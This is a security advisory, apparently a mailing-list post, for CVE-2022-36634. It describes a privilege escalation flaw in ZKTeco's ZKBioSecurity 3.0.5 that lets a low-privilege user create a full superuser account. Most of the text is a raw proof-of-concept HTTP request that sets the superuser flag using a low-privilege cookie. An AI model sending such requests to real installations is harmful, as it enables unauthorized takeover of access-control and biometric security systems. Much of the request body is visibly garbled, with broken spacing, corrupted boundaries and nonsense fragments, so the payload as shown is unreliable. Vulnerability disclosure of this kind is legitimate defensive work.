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ZKBioSecurity 3.0.5- Privilege Escalation to Admin (CVE-2022-36634)

From: Caio B < caioburgardt () gmail com> Date: Thu, 29 Sep 2022 11:20:39 -0300

###########################ADVISORY INFORMATION###########################

Product: ZKSecurity BIO

Vendor: ZKTeco

Version Affected: 3.0.5.0 R

CVE: CVE-2022-36634

Vulnerability: User privilege escalation

This vulnerability was discovered and researched by Caio Burgardt and Silton Santos.

Based on the hybrid biometric technology and computer vision technology, ZKBioSecurity provides a comprehensive web-based security platform. It contains multiple integrated modules: personnel, time & attendance, access control, visitor management, offline & online consumption management, quard patrol, parking, elevator control, entrance control, Facekiosk, intelligent video management, mask and temperature detection module, and other smart sub-systems.

The application's access control management does not check the session's permissions correctly. An attacker with "Person Self-Login" or "User" privilege can create a super user with full privileges in the application

POST /authUserAction!edit.action HTTP/1.1

Host: {HOST}

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:102.0) Gecko/20100101 Firefox/102.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US, en; q=0.5 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=----291763244192371568695079347 Content-Length: 1956 Origin: http://{HOST}:8088 Connection: close Referer: http://{HOST}:8088/base index.action Cookie: <INSERT LOW-PRIVILEGE COOKIE HERE> Upgrade-Insecure-Requests: 1 ----291763244192371568695079347 Content-Disposition: form-data; name="authUser.username" test privesc ----291763244192371568695079347 Content-Disposition: form-data; name="authUser.loginPwd" KDla123 ----291763244192371568695079347 Content-Disposition: form-data; name="repassword"

KDla123

-----291763244192371568695079347

Content-Disposition: form-data; name="authUser.isActive"

true		
	293	1763244192371568695079347
Content-Disposition:	form-data;	name="authUser.isSuperuser"
true		
	292	1763244192371568695079347
Content-Disposition:	form-data;	name="groupIds"
	291	1763244192371568695079347
Content-Disposition:		
	,	
	29 ⁻	1763244192371568695079347
Content-Disposition:	iorm-data;	name="arealds"
		1763244192371568695079347
Content-Disposition:	form-data;	name="authUser.email"
	291	1763244192371568695079347
Content-Disposition:	form-data;	<pre>name="authUser.name"</pre>
	292	1763244192371568695079347
Content-Disposition:	form-data;	name="authUser.lastName"
	291	1763244192371568695079347
Content-Disposition:	form-data;	name="fingerTemplate"

291763244192371568695079347
Content-Disposition: form-data; name="fingerId"
291763244192371568695079347
Content-Disposition: form-data; name="logMethod"
consens 215pec1510n. 101m dasa, name 10gneensa
add
291763244192371568695079347
Content-Disposition: form-data; name="un"
1657813612925_286
291763244192371568695079347
Content-Disposition: form-data; name="systemCode"
base
291763244192371568695079347
####################END################
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